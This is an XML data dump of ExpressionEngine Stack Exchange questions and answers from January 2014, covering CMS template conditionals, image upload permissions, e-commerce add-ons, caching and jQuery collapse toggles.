  <row Id="18663" PostTypeId="1" AcceptedAnswerId="18740" CreationDate="2014-01-23T09:03:22.683" Score="0" ViewCount="362" Body="&lt;p&gt;I'm using two search fields, each searching a different category group, and creating an inclusive category search by combining those fields. The form code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;directory-search&quot; method=&quot;post&quot; action=&quot;/directory/search&quot;&amp;gt;&#xA;        {exp:super_search:search}&#xA;        &amp;lt;fieldset class=&quot;search&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;center&quot;&amp;gt;&#xA;                &amp;lt;h1&amp;gt;Directory&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;a class=&quot;btn directory open-collapsed mobile-only&quot; href=&quot;#&quot;&amp;gt;Search&amp;lt;/a&amp;gt;&#xA;                &amp;lt;ul class=&quot;search-row&quot;&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;label for=&quot;channel&quot;&amp;gt;What?&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;select class=&quot;replace-hfirst&quot; name=&quot;category[]&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;- choose vendor type -&amp;lt;/option&amp;gt;&#xA;                            {exp:channel:categories category_group=&quot;10&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;                            &amp;lt;option value=&quot;{category_url_title}&amp;amp;&amp;amp;&quot; data-selectedtext=&quot;{category_name}&quot; {if super_search_category_{category_url_title}}selected=&quot;selected&quot;{/if}&amp;gt;{if parent_id != '0'}&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;{/if}{category_name}&amp;lt;/option&amp;gt;&#xA;                            {/exp:channel:categories}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;label for=&quot;category&quot;&amp;gt;Where?&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;select class=&quot;replace-hfirst&quot; name=&quot;category[]&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;- choose location -&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot; data-selectedtext=&quot;All Locations&quot; {if super_search_category == &quot;&quot;}selected=&quot;selected&quot;{/if}&amp;gt;All Locations&amp;lt;/option&amp;gt;&#xA;                            {exp:channel:categories category_group=&quot;2&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;                            &amp;lt;option value=&quot;{category_url_title}&quot; data-selectedtext=&quot;{category_name}&quot; {if super_search_category_{category_url_title}}selected=&quot;selected&quot;{/if}&amp;gt;{if parent_id != '0'}&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;{/if}{category_name}&amp;lt;/option&amp;gt;&#xA;                            {/exp:channel:categories}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; class=&quot;search&quot; name=&quot;keywords&quot; value=&quot;{super_search_keywords}&quot; placeholder=&quot;Optional Keyword&quot; /&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;button&quot;&amp;gt;&#xA;                        &amp;lt;a class=&quot;btn directory submit&quot; href=&quot;#&quot;&amp;gt;Search&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- end .center --&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;        {/exp:super_search:search}&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the resulting search string could look like this: &#xA;&lt;strong&gt;search&amp;amp;category=auckland+photo&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;auckland&quot; is a category in one group and &quot;photo&quot; is a category in the second group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to find a way to add &quot;selected&quot; to the select option for each category so the searched category is highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I would do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if super_search_category == &quot;{category_url_title}&quot;}selected=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...inside the select option tag. But that doesn't work now that there are multiple categories combined in the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other logical thing would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if super_search_category_{category_url_title}}selected=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which , according to the docs sounds like it might be the right format to work with multiple inclusive categories, but that doesn't work - probably a parsing issue trying to add in the category_url_title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I go about testing to see if an inclusive search string contains each category_url_title so I can select the right option in the select boxes?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-26T02:52:59.957" Title="Super Search category conditional if using multiple inclusive categories?" Tags="|solspace|search|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18664" PostTypeId="1" AcceptedAnswerId="18675" CreationDate="2014-01-23T10:23:07.100" Score="0" ViewCount="1618" Body="&lt;p&gt;I'm using EE 2.6.0, has anyone run into an issue where they get the following error when trying to upload a image: Thumbnail could not be created for the image. Please make sure the thumbnail directory is writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the usual suspects, the path is correct, permissions on the folders are ok.  I've tried changing the image library from GD2 to imagemagik.  I can upload other file types to the folder (pdfs etc..) just not images.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange thing is, it was working ok, the client left the site for a few months, I've just returned to it to finish it off.  I was able to upload ok 6 months ok, nothing's changed in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-01-23T14:14:00.497" Title="Thumbnail could not be created for the image" Tags="|image|uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18667" PostTypeId="1" CreationDate="2014-01-23T10:43:40.763" Score="0" ViewCount="223" Body="&lt;p&gt;I've been trying to find a proper way to do this but no luck so far. How does one go filtering products in Cartthrob. For example if the user wants to change the number of products displayed by clicking the relevant link (show items: 16, 64) (limit=16, limit=64 and so on). I've tried using Mo'variables and pass a limit variable on the url (i.e. /books?limit=16) however this messes up pagination and category filtering. Is there a guide or something on how to achieve this without loosing your hair? :)&lt;/p&gt;&#xA;" OwnerUserId="2172" LastActivityDate="2019-03-07T17:01:55.353" Title="Sorting and filtering items in Cartthrob" Tags="|cartthrob|url|sort|orderby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18668" PostTypeId="1" AcceptedAnswerId="18838" CreationDate="2014-01-23T10:54:55.383" Score="1" ViewCount="222" Body="&lt;p&gt;I've had this problem once before, on a website using Store on 1&amp;amp;1, where the checkout didn't redirect to PayPal, but got hung up on the final step and just refreshed the page (see original question/answers here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12875/expresso-store-orders-suddenly-not-getting-past-checkout-3-to-paypal&quot;&gt;Expresso Store orders suddenly not getting past checkout 3 to Paypal&lt;/a&gt;). The problem was sorted after contacting the host, but they didn't tell me what they did to solve the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another website, which is hosted on Clook, and for only some users, Store is getting hung up on Checkout 3 and not going to PayPal. The page just reloads. I can't replicate the problem, and neither can my client, but he's getting several complaints from people who can't buy on the site. I am not getting any errors on the page. ExpressionEngine v2.5.5 Store v1.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="437" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-02-06T18:46:42.913" Title="Expresso Store orders not getting past checkout 3 to Paypal for only SOME users" Tags="|expresso-store|ee2|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18669" PostTypeId="2" ParentId="18661" CreationDate="2014-01-23T11:18:00.150" Score="6" Body="&lt;p&gt;My choose is Bjorn &lt;a href=&quot;http://devot-ee.com/add-ons/snippetssync&quot;&gt;SnippetsSync&lt;/a&gt; - simple and stable&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-01-23T11:18:00.150" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18670" PostTypeId="2" ParentId="18641" CreationDate="2014-01-23T11:47:41.350" Score="2" Body="&lt;p&gt;&lt;code&gt;{exp:stash:cache}&lt;/code&gt; creates a cached variable with the URI as the context. That means each URI at which the host template is viewed will generate a unique instance of the variable. This tag is therefore generally used for full page caching, or for URI-specific fragments of template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use &lt;code&gt;{exp:stash:set}&lt;/code&gt; with the &lt;code&gt;site&lt;/code&gt; scope to create a single global fragment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples here:&#xA;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Caching&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Caching&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-01-23T11:47:41.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18671" PostTypeId="2" ParentId="17347" CreationDate="2014-01-23T12:17:02.370" Score="1" Body="&lt;p&gt;You're going to run in to parse order issues here I think. Unfortunately the code is not executing in the order you've written it, so certain evaluations won't happen when you're expecting them to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a certain point when adding PHP in an EE template that it's best to roll out a custom plugin instead. My general rule when doing something like you're doing is to keep EEs template code as separate from PHP code as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have PHP set to run after the template, retrieve all your values first in to PHP vars then add PHP logic at the end of the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case see if increment $var as you have it but do the logic in PHP later. So instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if ex_product_dimensions_g:height != &quot;0&quot; || ex_product_dimensions_g:width != &quot;0&quot; || ex_product_dimensions_g:depth != &quot;0&quot;}&#xA;  {ex_product_dimensions_g:height}(h) x {ex_product_dimensions_g:width}(w) x {ex_product_dimensions_g:depth}(d)&amp;lt;br&amp;gt;&#xA;{if:else}&#xA;  &amp;lt;?php $var++; ?&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $var_h = $var_h + '{ex_product_dimensions_g:height}';&#xA;      $var_w = $var_w + '{ex_product_dimensions_g:width}';?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at the end of the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($var_h &amp;gt; 0 || $var_w &amp;gt; 0) echo 'A dimension is zero.'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively it might be easier to go over to using P&amp;amp;T's Matrix as that has some built in logic/maths:&#xA;&lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html#average-lowest-highest-and-sum&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/matrix/templating/field.html#average-lowest-highest-and-sum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2014-01-23T12:17:02.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18672" PostTypeId="1" AcceptedAnswerId="18674" CreationDate="2014-01-23T12:28:29.980" Score="0" ViewCount="6791" Body="&lt;p&gt;Just a quick issue someone can hopefully help me out with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a webpage that displays listed event entries (using &lt;code&gt;exp:low_events&lt;/code&gt; module). They are displayed as blocks that once clicked trigger a collapsible div to open, standard bootstrap plugin really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, so my problem is that I would like to display a symbol that displays an up/down arrow dependent on whether the collapsible div is open or closed. Normally that wouldn't be an issue but because the entries are dynamic, they each need to be unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now if you open one entry, the toggle symbol changes on both. I have tried integrating expression engine variables into my script snippet but unfortunately this only has an effect on the first entry, and no effect on any subsequent entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries &#xA;channel=&quot;events&quot; &#xA;status=&quot;not closed&quot; &#xA;dynamic=&quot;off&quot; &#xA;show_passed=&quot;yes&quot; &#xA;show_upcoming=&quot;yes&quot;}&#xA;&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;&#xA;        &amp;lt;a id=&quot;switch&quot; class=&quot;{entry_id}&quot; data-target=&quot;#details-{entry_id}&quot; data-toggle=&quot;collapse&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;collapse-block&quot;&amp;gt;&#xA;&#xA;        &amp;lt;h4&amp;gt;Title of Event &amp;lt;span class=&quot;closed pull-right {entry_id}&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--collapse-block--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;collapse in&quot; id=&quot;details-{entry_id}&quot;&amp;gt;&#xA;&#xA;          Collapsible content&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--collapse--&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--span12--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--row--&amp;gt;&#xA;&#xA;{/exp:low_events:entries}&#xA;&#xA;&#xA;&#xA;{exp:low_events:entries &#xA;channel=&quot;events&quot; &#xA;status=&quot;not closed&quot; &#xA;dynamic=&quot;off&quot; &#xA;show_passed=&quot;yes&quot; &#xA;show_upcoming=&quot;yes&quot;}&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;&#xA;    $('#switch.{entry_id}').on('click', function(e) {&#xA;$('.closed.{entry_id}').toggleClass(&quot;expanded&quot;);&#xA;    });&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure about using EE variables in my script as its not something I've ever really done, but I'm struggling to see another option...although an obvious solution could be staring me right in the face&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea of the above code is that when the &lt;code&gt;&amp;lt;a id=&quot;switch&quot; class=&quot;{entry_id}&quot;&lt;/code&gt; is clicked it toggles a class of &lt;code&gt;expanded&lt;/code&gt; the the &lt;code&gt;&amp;lt;span class=&quot;closed&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the &lt;code&gt;.closed&lt;/code&gt; and &lt;code&gt;.expanded&lt;/code&gt; classes have background-images set to up and down arrows which will change when the collapsible opens and closes. Though as I mentioned earlier, this markup only seems to have an effect on the first entry and then no effect on the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really appreciate any advice on this&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-01-23T13:07:33.297" Title="Collapsing div toggle using dynamic channel entries" Tags="|channel-entries|dynamic|bootstrap|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18673" PostTypeId="2" ParentId="18672" CreationDate="2014-01-23T13:05:10.617" Score="0" Body="&lt;p&gt;Low Events supports all &lt;code&gt;channel:entries&lt;/code&gt; parameters and variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd ignore the entry id and use count instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;&#xA;        &amp;lt;a id=&quot;switch&quot; id=&quot;event{count}&quot; data-target=&quot;#details-{entry_id}&quot; data-toggle=&quot;collapse&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we're in HTML/JQuery territory! Personally I wouldn't use a class to identify each unique link, an ID is more appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your JQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a[id^=&quot;event&quot;]').on('click', function(e) {&#xA;  $(this).find('.collapse-block').toggleClass(&quot;expanded&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again personally I I'd say you're not using JQuerys 'on' handler correctly. This will add N events to the DOM depending on how many events you have displayed. This can be handled with 1 event to the container element.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.row-fluid').on('click', 'a[id^=&quot;event&quot;]' function(e) {&#xA;  $(this).find('.collapse-block').toggleClass(&quot;expanded&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="351" LastActivityDate="2014-01-23T13:05:10.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18674" PostTypeId="2" ParentId="18672" CreationDate="2014-01-23T13:07:33.297" Score="1" Body="&lt;p&gt;In the end this isn't really an ExpressionEngine question at all (you don't need to use &lt;em&gt;any&lt;/em&gt; EE variables here). A few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You cannot have &lt;a href=&quot;http://www.w3.org/TR/CSS2/selector.html#id-selectors&quot; rel=&quot;nofollow&quot;&gt;two elements with the same ID on each page&lt;/a&gt; (so, using &lt;code&gt;&amp;lt;a id=&quot;switch&quot;&amp;gt;&lt;/code&gt; within a loop is a no-no).&lt;/li&gt;&#xA;&lt;li&gt;CSS class names cannot be purely numeric (e.g., &lt;code&gt;class=&quot;{entry_id}&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;You don't have an &lt;code&gt;href&lt;/code&gt; value or closing tag for your anchor - this can cause issue in some browsers.&lt;/li&gt;&#xA;&lt;li&gt;Your jQuery script should be abstracted to apply to &lt;em&gt;all&lt;/em&gt; of your looped markup blocks.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I assume you have another script at play here as well, which is handling the collapsing via the the &lt;code&gt;data&lt;/code&gt; attributes in your markup - if it's expecting an element with an &lt;code&gt;id&lt;/code&gt; of &lt;code&gt;toogle&lt;/code&gt;, you may have to adjust it so that it uses a class name instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a revised version of your code which should work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries channel=&quot;events&quot; status=&quot;not closed&quot; dynamic=&quot;off&quot; show_passed=&quot;yes&quot; show_upcoming=&quot;yes&quot;}&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;&#xA;        &amp;lt;a class=&quot;switch&quot; data-target=&quot;#details-{entry_id}&quot; data-toggle=&quot;collapse&quot; href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;collapse-block&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;Title of Event &amp;lt;span class=&quot;closed pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--collapse-block--&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;collapse in&quot; id=&quot;details-{entry_id}&quot;&amp;gt;&#xA;          Collapsible content&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--collapse--&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--span12--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--row--&amp;gt;&#xA;{/exp:low_events:entries}&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    $('.switch').on('click', function(e){&#xA;        $(this).parent('div').find('.closed').toggleClass('expanded');&#xA;        return false;&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-23T13:07:33.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18675" PostTypeId="2" ParentId="18664" CreationDate="2014-01-23T13:17:24.800" Score="1" Body="&lt;p&gt;Checked the permissions of the upload destination folder, make sure that PHP has permission to create files and folders. If the 'thumbs' folder exists in this destination make sure nothing odd has happen to that, and it's permissions are set correctly. EE should have created it but in the past I've deleted whole directories and uploaded local folders with a thumbs folder inside. This can sometimes result in the FTP user (you) as the owner and PHP can't alter it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another place to look is the tmp folder for the server. I've had this issues as well. The PHP img library (GD2/imagemagik) needs a temp folder to save the image while manipulating it. Make sure your Apache vhosts conf file allows the site to access the system tmp folder and it's permissions are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You, too, should make sure the path to ImageMagick is right, in case you're using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming it's an Apache server. Also depends on how you're administering it. I've had Plesk completely screw up a vhost file in this way before.&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="343" LastEditDate="2014-01-23T14:14:00.497" LastActivityDate="2014-01-23T14:14:00.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18677" PostTypeId="1" CreationDate="2014-01-23T13:43:53.483" Score="1" ViewCount="90" Body="&lt;p&gt;Cart throb: &#xA;I want to have the ability in CT to have a single product and say order 10 black, 20 green adn 5 yellow all with a single add to cart click&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RIght now I have to add each color individually.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-03-29T00:02:50.083" Title="Cart throb: One product simply order one product with multiple colors in numerous quantities" Tags="|cartthrob|ecommerce|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18678" PostTypeId="2" ParentId="18667" CreationDate="2014-01-23T13:54:37.417" Score="0" Body="&lt;p&gt;You're on the right track. This advice applies to EE 2.7.2+, so if you're on an earlier version of EE, sorry. First, you don't need to use Mo' Variables. All you need to do is set the &lt;code&gt;dynamic_parameters=&quot;limit&quot;&lt;/code&gt;. Now when &lt;code&gt;limit=X&lt;/code&gt; is in your url query string, the channel:entries loop will automatically use that limit. To get it to work with pagination, you need to do this (add the query string to the pagination links):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  {pagination_links}&#xA;    &amp;lt;ul&amp;gt;&#xA;      {page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}{if current_query_string}?{current_query_string}{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Docs on dynamic parameters: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs on current_query_string global variable: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-query-string&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-query-string&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditDate="2014-01-23T14:34:59.913" LastActivityDate="2014-01-23T14:34:59.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18679" PostTypeId="2" ParentId="18661" CreationDate="2014-01-23T14:12:01.927" Score="3" Body="&lt;p&gt;I personally prefer &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; as it does so much more than just let you edit as files. You can control the parse order allowing you to create global variables or snippets. Plus it works with a whole bunch of field types making it extremely useful for content that clients need to edit but don't deserve a channel. And yes you can hide variables/snippets from clients so your client only sees what they need to.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-01-23T14:12:01.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18682" PostTypeId="1" CreationDate="2014-01-23T16:04:30.097" Score="1" ViewCount="21" Body="&lt;p&gt;Im a EE newbie and looking to use zoo visitor and credits as badge system to users.  How I want it to work is Member Group A is able to assign credits to Member Group B so lets say a teacher is able to assign credits to students so their is two kinds of member groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create two types of dashboards for the member group and the Group A could award any member in Group B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Credits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the repetition up there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&#xA;Mario&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-01-23T16:04:30.097" Title="Assign Credits between different member types" Tags="|zoo-visitor|devdemon|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18683" PostTypeId="1" CreationDate="2014-01-23T16:44:37.667" Score="1" ViewCount="192" Body="&lt;p&gt;I've updated to Google Maps for EE version 3.3.1 and now I'm just getting a &quot;Click to Activate&quot; message in the channel entry.  I seem to remember having this problem before and it was due to a Javascript issue, but for the life of me, I can't remember how to fix it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The existing maps are showing ok on the front end, I just can't update or add new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've updated to the latest version, 3.3.4, but issue remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, much appreciated.&#xA;Thanks, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to image: &lt;a href=&quot;http://i44.tinypic.com/14a8uo2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i44.tinypic.com/14a8uo2.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ro2u.png&quot; alt=&quot;Google maps for EE Click to Activate&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="984" LastEditDate="2014-01-27T09:18:15.690" LastActivityDate="2014-01-27T09:18:15.690" Title="Google Maps for EE - Click to activate" Tags="|google-maps-for-ee|google-maps|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18685" PostTypeId="2" ParentId="18656" CreationDate="2014-01-23T17:14:18.960" Score="0" Body="&lt;p&gt;Never done that but there are a few Member custom profile options available, see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#id6&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#id6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would cover, for each member, getting&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Total entries &lt;/li&gt;&#xA;&lt;li&gt;Total comments  &lt;/li&gt;&#xA;&lt;li&gt;Total forums posts &lt;/li&gt;&#xA;&lt;li&gt;Total forum topics&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could grab those values and do somthing like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}&#xA;    {if total_entries &amp;lt; 10}Newbie user{/if}&#xA;    {if total_entries &amp;gt;= 10 AND total_entries &amp;lt; 50}Advanced user{/if}&#xA;    {if total_entries &amp;gt;= 50}Super user{/if}&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-01-23T17:14:18.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
